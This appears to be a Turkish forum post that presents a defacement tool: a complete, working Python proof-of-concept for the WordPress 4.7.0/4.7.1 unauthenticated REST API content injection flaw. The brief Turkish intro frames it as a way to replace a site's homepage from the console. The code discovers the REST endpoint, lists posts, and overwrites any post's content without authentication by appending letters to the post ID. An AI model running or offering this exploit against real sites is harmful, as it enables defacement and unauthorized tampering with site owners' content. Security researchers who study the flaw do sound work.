python yazılmış ana sayfa index gibi atmaktadır.
tabi .php vs. dosya yüklemiceksiniz konsoldan yazıcanız.
tabi .php vs. dosya yüklemiceksiniz konsoldan yazıcanız.
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Kod:
#!/usr/bin/python
# -*- coding: utf-8 -*-
# 2017 - @leonjza
#
# Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC
# Full bug description: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
# Usage example:
#
# List available posts:
#
# $ python inject.py http://localhost:8070/
# * Discovering API Endpoint
# * API lives at: http://localhost:8070/wp-json/
# * Getting available posts
# - Post ID: 1, Title: test, Url: http://localhost:8070/archives/1
#
# Update post with content from a file:
#
# $ cat content
# foo
#
# $ python inject.py http://localhost:8070/ 1 content
# * Discovering API Endpoint
# * API lives at: http://localhost:8070/wp-json/
# * Updating post 1
# * Post updated. Check it out at http://localhost:8070/archives/1
# * Update complete!
import json
import sys
import urllib2
from lxml import etree
def get_api_url(wordpress_url):
response = urllib2.urlopen(wordpress_url)
data = etree.HTML(response.read())
u = data.xpath('//link[@rel="https://api.w.org/"]/@href')[0]
# check if we have permalinks
if 'rest_route' in u:
print(' ! Warning, looks like permalinks are not enabled. This might not work!')
return u
def get_posts(api_base):
respone = urllib2.urlopen(api_base + 'wp/v2/posts')
posts = json.loads(respone.read())
for post in posts:
print(' - Post ID: {0}, Title: {1}, Url: {2}'
.format(post['id'], post['title']['rendered'], post['link']))
def update_post(api_base, post_id, post_content):
# more than just the content field can be updated. see the api docs here:
# https://developer.wordpress.org/rest-api/reference/posts/#update-a-post
data = json.dumps({
'content': post_content
})
url = api_base + 'wp/v2/posts/{post_id}/?id={post_id}abc'.format(post_id=post_id)
req = urllib2.Request(url, data, {'Content-Type': 'application/json'})
response = urllib2.urlopen(req).read()
print('* Post updated. Check it out at {0}'.format(json.loads(response)['link']))
def print_usage():
print('Usage: {0} <url> (optional: <post_id> <file with post_content>)'.format(__file__))
if __name__ == '__main__':
# ensure we have at least a url
if len(sys.argv) < 2:
print_usage()
sys.exit(1)
# if we have a post id, we need content too
if 2 < len(sys.argv) < 4:
print('Please provide a file with post content with a post id')
print_usage()
sys.exit(1)
print('* Discovering API Endpoint')
api_url = get_api_url(sys.argv[1])
print('* API lives at: {0}'.format(api_url))
# if we only have a url, show the posts we have have
if len(sys.argv) < 3:
print('* Getting available posts')
get_posts(api_url)
sys.exit(0)
# if we get here, we have what we need to update a post!
print('* Updating post {0}'.format(sys.argv[2]))
with open(sys.argv[3], 'r') as content:
new_content = content.readlines()
update_post(api_url, sys.argv[2], ''.join(new_content))
print('* Update complete!')
